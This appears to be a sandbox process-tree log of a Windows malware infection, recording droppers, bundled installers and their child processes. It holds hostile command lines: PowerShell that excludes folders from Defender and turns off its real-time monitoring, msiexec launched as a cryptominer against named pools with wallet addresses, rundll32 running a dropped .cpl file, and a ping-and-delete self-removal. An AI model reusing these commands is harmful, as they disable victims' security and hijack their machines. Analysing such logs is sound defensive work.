C:\Users\Admin\AppData\Roaming\EasyCalc\EasyCalc.exe"C:\Users\Admin\AppData\Roaming\EasyCalc\EasyCalc.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\EasyCalc\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1696,8927293695396283745,10847200634250290430,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\EasyCalc\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw9616_867476309" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2580 /prefetch:15⤵PID:936
-
-
C:\Users\Admin\AppData\Roaming\EasyCalc\EasyCalc.exe"C:\Users\Admin\AppData\Roaming\EasyCalc\EasyCalc.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1696,8927293695396283745,10847200634250290430,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\EasyCalc\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw9616_867476309" --mojo-platform-channel-handle=2628 /prefetch:85⤵PID:10608
-
-
C:\Users\Admin\AppData\Roaming\EasyCalc\EasyCalc.exe"C:\Users\Admin\AppData\Roaming\EasyCalc\EasyCalc.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1696,8927293695396283745,10847200634250290430,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\EasyCalc\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw9616_867476309" --mojo-platform-channel-handle=3476 /prefetch:85⤵PID:7868
-
-
C:\Users\Admin\AppData\Roaming\EasyCalc\EasyCalc.exe"C:\Users\Admin\AppData\Roaming\EasyCalc\EasyCalc.exe" --type=gpu-process --field-trial-handle=1696,8927293695396283745,10847200634250290430,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\EasyCalc\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw9616_867476309" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=3596 /prefetch:25⤵PID:9000
-
-
C:\Users\Admin\AppData\Roaming\EasyCalc\EasyCalc.exe"C:\Users\Admin\AppData\Roaming\EasyCalc\EasyCalc.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1696,8927293695396283745,10847200634250290430,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\EasyCalc\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw9616_867476309" --mojo-platform-channel-handle=2756 /prefetch:85⤵PID:3288
-
-
C:\Users\Admin\AppData\Roaming\EasyCalc\EasyCalc.exe"C:\Users\Admin\AppData\Roaming\EasyCalc\EasyCalc.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1696,8927293695396283745,10847200634250290430,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\EasyCalc\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw9616_867476309" --mojo-platform-channel-handle=2024 /prefetch:85⤵PID:10544
-
-
C:\Users\Admin\AppData\Roaming\EasyCalc\EasyCalc.exe"C:\Users\Admin\AppData\Roaming\EasyCalc\EasyCalc.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1696,8927293695396283745,10847200634250290430,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\EasyCalc\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw9616_867476309" --mojo-platform-channel-handle=1692 /prefetch:85⤵PID:11080
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\AK8a1KTxaCV_3XEAAww7GeF1.exe"C:\Users\Admin\Pictures\Adobe Films\AK8a1KTxaCV_3XEAAww7GeF1.exe"2⤵PID:7104
-
-
C:\Users\Admin\Pictures\Adobe Films\bOvv4FFXvxDk5K2Z8jk_DseX.exe"C:\Users\Admin\Pictures\Adobe Films\bOvv4FFXvxDk5K2Z8jk_DseX.exe"2⤵PID:6292
-
C:\Users\Admin\AppData\Local\7cb36a28-d44d-4537-8239-1e6074bbe5cc.bin"C:\Users\Admin\AppData\Local\7cb36a28-d44d-4537-8239-1e6074bbe5cc.bin"3⤵PID:2092
-
-
C:\Users\Admin\AppData\Local\990e4ce8-1c21-4fed-a605-b6f51a907d85.bin"C:\Users\Admin\AppData\Local\990e4ce8-1c21-4fed-a605-b6f51a907d85.bin"3⤵PID:5932
-
-
C:\Users\Admin\AppData\Local\e38a1f30-4a7a-499e-92be-dd9d61d97645.bin"C:\Users\Admin\AppData\Local\e38a1f30-4a7a-499e-92be-dd9d61d97645.bin"3⤵PID:4908
-
-
C:\Users\Admin\AppData\Local\ccead459-8907-46b2-85ad-f7d3cd34b961.bin"C:\Users\Admin\AppData\Local\ccead459-8907-46b2-85ad-f7d3cd34b961.bin"3⤵PID:3504
-
C:\Users\Admin\AppData\Roaming\2329058.exe"C:\Users\Admin\AppData\Roaming\2329058.exe"4⤵PID:7460
-
C:\Windows\SysWOW64\control.exe"C:\Windows\System32\control.exe" "C:\Users\Admin\AppData\Local\Temp\6N8R8.Cpl",5⤵PID:9156
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL "C:\Users\Admin\AppData\Local\Temp\6N8R8.Cpl",6⤵PID:4344
-
C:\Windows\system32\RunDll32.exeC:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL "C:\Users\Admin\AppData\Local\Temp\6N8R8.Cpl",7⤵PID:9916
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 "C:\Users\Admin\AppData\Local\Temp\6N8R8.Cpl",8⤵PID:8864
-
-
-
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\35KFsITPYk2PfVh3Ou4AewT5.exe"C:\Users\Admin\Pictures\Adobe Films\35KFsITPYk2PfVh3Ou4AewT5.exe"2⤵PID:5984
-
C:\Users\Admin\AppData\Local\Temp\UWrNrKR7Mf9va\Roads License Agreement.exe"C:\Users\Admin\AppData\Local\Temp\UWrNrKR7Mf9va\Roads License Agreement.exe"3⤵PID:7896
-
C:\Users\Admin\AppData\Roaming\Roads\Roads.exe"C:\Users\Admin\AppData\Roaming\Roads\Roads.exe" "--CbvoxHdtL"4⤵PID:9800
-
C:\Users\Admin\AppData\Roaming\Roads\Roads.exeC:\Users\Admin\AppData\Roaming\Roads\Roads.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Roads\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\Roads\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Roads\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Roads\User Data" --annotation=plat=Win64 --annotation=prod=Roads --annotation=ver=0.0.13 --initial-client-data=0x1f4,0x1f8,0x1fc,0x1d0,0x200,0x7ff893e4dec0,0x7ff893e4ded0,0x7ff893e4dee05⤵PID:5664
-
C:\Users\Admin\AppData\Roaming\Roads\Roads.exeC:\Users\Admin\AppData\Roaming\Roads\Roads.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Roads\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Roads\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=Roads --annotation=ver=0.0.13 --initial-client-data=0x134,0x138,0x13c,0x110,0x140,0x7ff66f239e70,0x7ff66f239e80,0x7ff66f239e906⤵PID:4636
-
-
-
C:\Users\Admin\AppData\Roaming\Roads\Roads.exe"C:\Users\Admin\AppData\Roaming\Roads\Roads.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1664,5820422723749662796,5600487120398797210,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Roads\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw9800_1937988824" --mojo-platform-channel-handle=1764 /prefetch:85⤵PID:8000
-
-
C:\Users\Admin\AppData\Roaming\Roads\Roads.exe"C:\Users\Admin\AppData\Roaming\Roads\Roads.exe" --type=gpu-process --field-trial-handle=1664,5820422723749662796,5600487120398797210,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Roads\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw9800_1937988824" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1684 /prefetch:25⤵PID:9344
-
-
C:\Users\Admin\AppData\Roaming\Roads\Roads.exe"C:\Users\Admin\AppData\Roaming\Roads\Roads.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1664,5820422723749662796,5600487120398797210,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Roads\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw9800_1937988824" --mojo-platform-channel-handle=2160 /prefetch:85⤵PID:4348
-
-
C:\Users\Admin\AppData\Roaming\Roads\Roads.exe"C:\Users\Admin\AppData\Roaming\Roads\Roads.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Roads\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1664,5820422723749662796,5600487120398797210,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Roads\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw9800_1937988824" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2508 /prefetch:15⤵PID:3452
-
-
C:\Users\Admin\AppData\Roaming\Roads\Roads.exe"C:\Users\Admin\AppData\Roaming\Roads\Roads.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Roads\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1664,5820422723749662796,5600487120398797210,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Roads\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw9800_1937988824" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --mojo-platform-channel-handle=2152 /prefetch:15⤵PID:5708
-
-
C:\Users\Admin\AppData\Roaming\Roads\Roads.exe"C:\Users\Admin\AppData\Roaming\Roads\Roads.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1664,5820422723749662796,5600487120398797210,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Roads\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw9800_1937988824" --mojo-platform-channel-handle=2852 /prefetch:85⤵PID:10620
-
-
C:\Users\Admin\AppData\Roaming\Roads\Roads.exe"C:\Users\Admin\AppData\Roaming\Roads\Roads.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1664,5820422723749662796,5600487120398797210,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Roads\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw9800_1937988824" --mojo-platform-channel-handle=3848 /prefetch:85⤵PID:1580
-
-
C:\Users\Admin\AppData\Roaming\Roads\Roads.exe"C:\Users\Admin\AppData\Roaming\Roads\Roads.exe" --type=gpu-process --field-trial-handle=1664,5820422723749662796,5600487120398797210,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Roads\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw9800_1937988824" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=1668 /prefetch:25⤵PID:9776
-
-
C:\Users\Admin\AppData\Roaming\Roads\Roads.exe"C:\Users\Admin\AppData\Roaming\Roads\Roads.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1664,5820422723749662796,5600487120398797210,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Roads\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw9800_1937988824" --mojo-platform-channel-handle=3056 /prefetch:85⤵PID:10636
-
-
C:\Users\Admin\AppData\Roaming\Roads\Roads.exe"C:\Users\Admin\AppData\Roaming\Roads\Roads.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1664,5820422723749662796,5600487120398797210,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Roads\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw9800_1937988824" --mojo-platform-channel-handle=3736 /prefetch:85⤵PID:5188
-
-
C:\Users\Admin\AppData\Roaming\Roads\Roads.exe"C:\Users\Admin\AppData\Roaming\Roads\Roads.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1664,5820422723749662796,5600487120398797210,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Roads\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw9800_1937988824" --mojo-platform-channel-handle=1680 /prefetch:85⤵PID:7212
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\2HrUDfF0kpCDysEqazrqIjX_.exe"C:\Users\Admin\Pictures\Adobe Films\2HrUDfF0kpCDysEqazrqIjX_.exe"2⤵PID:5084
-
C:\Users\Admin\AppData\Local\Temp\is-LJL27.tmp\2HrUDfF0kpCDysEqazrqIjX_.tmp"C:\Users\Admin\AppData\Local\Temp\is-LJL27.tmp\2HrUDfF0kpCDysEqazrqIjX_.tmp" /SL5="$200B4,140559,56832,C:\Users\Admin\Pictures\Adobe Films\2HrUDfF0kpCDysEqazrqIjX_.exe"3⤵PID:5664
-
C:\Users\Admin\AppData\Local\Temp\is-CNN96.tmp\Bouderbela.exe"C:\Users\Admin\AppData\Local\Temp\is-CNN96.tmp\Bouderbela.exe" /S /UID=27104⤵PID:6972
-
C:\Users\Admin\AppData\Local\Temp\69-349cd-d13-0f392-49f4e318eceaa\Fidaecolobo.exe"C:\Users\Admin\AppData\Local\Temp\69-349cd-d13-0f392-49f4e318eceaa\Fidaecolobo.exe"5⤵PID:6308
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\jfxqeb3l.hm1\GcleanerEU.exe /eufive & exit6⤵PID:7248
-
C:\Users\Admin\AppData\Local\Temp\jfxqeb3l.hm1\GcleanerEU.exeC:\Users\Admin\AppData\Local\Temp\jfxqeb3l.hm1\GcleanerEU.exe /eufive7⤵PID:10164
-
C:\Users\Admin\AppData\Local\Temp\jfxqeb3l.hm1\GcleanerEU.exeC:\Users\Admin\AppData\Local\Temp\jfxqeb3l.hm1\GcleanerEU.exe /eufive8⤵PID:4940
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ojlpgifo.of1\installer.exe /qn CAMPAIGN="654" & exit6⤵PID:8276
-
C:\Users\Admin\AppData\Local\Temp\ojlpgifo.of1\installer.exeC:\Users\Admin\AppData\Local\Temp\ojlpgifo.of1\installer.exe /qn CAMPAIGN="654"7⤵PID:8712
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\5ieqeuym.ehi\random.exe & exit6⤵PID:8788
-
C:\Users\Admin\AppData\Local\Temp\5ieqeuym.ehi\random.exeC:\Users\Admin\AppData\Local\Temp\5ieqeuym.ehi\random.exe7⤵PID:3204
-
C:\Users\Admin\AppData\Local\Temp\5ieqeuym.ehi\random.exe"C:\Users\Admin\AppData\Local\Temp\5ieqeuym.ehi\random.exe" -u8⤵PID:9528
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\skscdbws.sy3\f.exe & exit6⤵PID:9264
-
C:\Users\Admin\AppData\Local\Temp\skscdbws.sy3\f.exeC:\Users\Admin\AppData\Local\Temp\skscdbws.sy3\f.exe7⤵PID:9972
-
C:\Users\Admin\AppData\Roaming\580A.tmp.exe"C:\Users\Admin\AppData\Roaming\580A.tmp.exe"8⤵PID:7576
-
-
C:\Users\Admin\AppData\Roaming\4034.tmp.exe"C:\Users\Admin\AppData\Roaming\4034.tmp.exe"8⤵PID:4156
-
C:\Windows\system32\msiexec.exe-o pool.minexmr.com:4444 -u 87rRyMkZM4pNgAZPi5NX3DdxksaoNgd7bZUBVe3A9uemAhxc8EQJ6dAPZg2mYTwoezgJWNfTpFFmnVYWXqcNDMhLF7ihFgM.wn5805 --cpu-max-threads-hint 50 -r 99999⤵PID:8016
-
-
C:\Windows\system32\msiexec.exe-P stratum1+ssl://0xb7633a80145Ec9ce2b8b5F80AB36C783064C2E10.wn4872@eu-eth.hiveon.net:24443 -R --response-timeout 30 --farm-retries 999999⤵PID:9656
-
-
-
C:\Users\Admin\AppData\Roaming\6205.tmp.exe"C:\Users\Admin\AppData\Roaming\6205.tmp.exe"8⤵PID:11160
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\skscdbws.sy3\f.exe" >> NUL8⤵PID:2320
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.19⤵
- Runs ping.exe
PID:9728
-
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\fbegolpi.tlw\gcleaner.exe /mixfive & exit6⤵PID:9448
-
C:\Users\Admin\AppData\Local\Temp\fbegolpi.tlw\gcleaner.exeC:\Users\Admin\AppData\Local\Temp\fbegolpi.tlw\gcleaner.exe /mixfive7⤵PID:9388
-
C:\Users\Admin\AppData\Local\Temp\fbegolpi.tlw\gcleaner.exeC:\Users\Admin\AppData\Local\Temp\fbegolpi.tlw\gcleaner.exe /mixfive8⤵PID:8368
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ofqhgogg.df3\autosubplayer.exe /S & exit6⤵PID:9624
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\e5hedh3x.ygm\installer.exe /qn CAMPAIGN=654 & exit6⤵PID:5956
-
C:\Users\Admin\AppData\Local\Temp\e5hedh3x.ygm\installer.exeC:\Users\Admin\AppData\Local\Temp\e5hedh3x.ygm\installer.exe /qn CAMPAIGN=6547⤵PID:10144
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\78-b80c0-cdc-4b1b0-17d38d2173d8e\Cikitimomi.exe"C:\Users\Admin\AppData\Local\Temp\78-b80c0-cdc-4b1b0-17d38d2173d8e\Cikitimomi.exe"5⤵PID:6332
-
-
C:\Program Files\Windows NT\RGXZJFSNGD\foldershare.exe"C:\Program Files\Windows NT\RGXZJFSNGD\foldershare.exe" /VERYSILENT5⤵PID:7748
-
C:\Users\Admin\AppData\Local\Temp\is-CVCGQ.tmp\foldershare.tmp"C:\Users\Admin\AppData\Local\Temp\is-CVCGQ.tmp\foldershare.tmp" /SL5="$400CC,449421,422400,C:\Program Files\Windows NT\RGXZJFSNGD\foldershare.exe" /VERYSILENT6⤵PID:2680
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zS0164C4BB\Wed055a1be90d5891f6c.exe"C:\Users\Admin\AppData\Local\Temp\7zS0164C4BB\Wed055a1be90d5891f6c.exe"1⤵PID:2136
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe2⤵PID:5200
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe3⤵
- Kills process with taskkill
PID:736
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"2⤵PID:4320
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xcc,0xd0,0xd4,0xa8,0xd8,0x7ff8943c4f50,0x7ff8943c4f60,0x7ff8943c4f703⤵PID:1156
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1564,10670902145130428772,13179915912710094294,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2084 /prefetch:83⤵PID:6492
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1564,10670902145130428772,13179915912710094294,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1872 /prefetch:83⤵PID:5240
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1564,10670902145130428772,13179915912710094294,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1580 /prefetch:23⤵PID:4208
-
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵PID:4724
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵PID:5384
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:4952 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵PID:720
-
-
C:\Windows\system32\compattelrunner.exeC:\Windows\system32\compattelrunner.exe -m:aeinv.dll -f:UpdateSoftwareInventoryW1⤵PID:2624
-
C:\Users\Admin\Desktop\setup_installx86-x64.exe"C:\Users\Admin\Desktop\setup_installx86-x64.exe"1⤵PID:5640
-
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"2⤵PID:4604
-
C:\Users\Admin\AppData\Local\Temp\7zSCF110F49\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zSCF110F49\setup_install.exe"3⤵PID:4108
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"4⤵PID:4056
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"5⤵PID:2848
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable4⤵PID:1916
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable5⤵PID:6476
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed0555acc9ced75.exe4⤵PID:1276
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed05adef517e454a1.exe4⤵PID:5784
-
C:\Users\Admin\AppData\Local\Temp\7zSCF110F49\Wed05adef517e454a1.exeWed05adef517e454a1.exe5⤵PID:5632
-
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"6⤵PID:5044
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5044 -s 7487⤵
- Program crash
PID:6748
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed0560cb12c1f.exe4⤵PID:6084
-
C:\Users\Admin\AppData\Local\Temp\7zSCF110F49\Wed0560cb12c1f.exeWed0560cb12c1f.exe5⤵PID:7124
-
C:\Users\Admin\AppData\Local\Temp\7zSCF110F49\Wed0560cb12c1f.exeC:\Users\Admin\AppData\Local\Temp\7zSCF110F49\Wed0560cb12c1f.exe6⤵PID:4700
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed05f8edfbe05bce6.exe4⤵PID:5616
-
C:\Users\Admin\AppData\Local\Temp\7zSCF110F49\Wed05f8edfbe05bce6.exeWed05f8edfbe05bce6.exe5⤵PID:5612
-
C:\Windows\SysWOW64\control.exe"C:\Windows\System32\control.exe" "C:\Users\Admin\AppData\Local\Temp\6N8R8.Cpl",6⤵PID:6396
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL "C:\Users\Admin\AppData\Local\Temp\6N8R8.Cpl",7⤵PID:5952
-
C:\Windows\system32\RunDll32.exeC:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL "C:\Users\Admin\AppData\Local\Temp\6N8R8.Cpl",8⤵PID:6552
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 "C:\Users\Admin\AppData\Local\Temp\6N8R8.Cpl",9⤵PID:5000
-
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed05920be87739219cb.exe4⤵PID:1012
-
C:\Users\Admin\AppData\Local\Temp\7zSCF110F49\Wed05920be87739219cb.exeWed05920be87739219cb.exe5⤵PID:6640
-
C:\Users\Admin\AppData\Local\62073cc6-3792-4183-9059-092db626c51d.bin"C:\Users\Admin\AppData\Local\62073cc6-3792-4183-9059-092db626c51d.bin"6⤵PID:4988
-
-
C:\Users\Admin\AppData\Local\d7740c42-0448-4f7d-955c-fc8a5cfcb0a6.bin"C:\Users\Admin\AppData\Local\d7740c42-0448-4f7d-955c-fc8a5cfcb0a6.bin"6⤵PID:6660
-
-
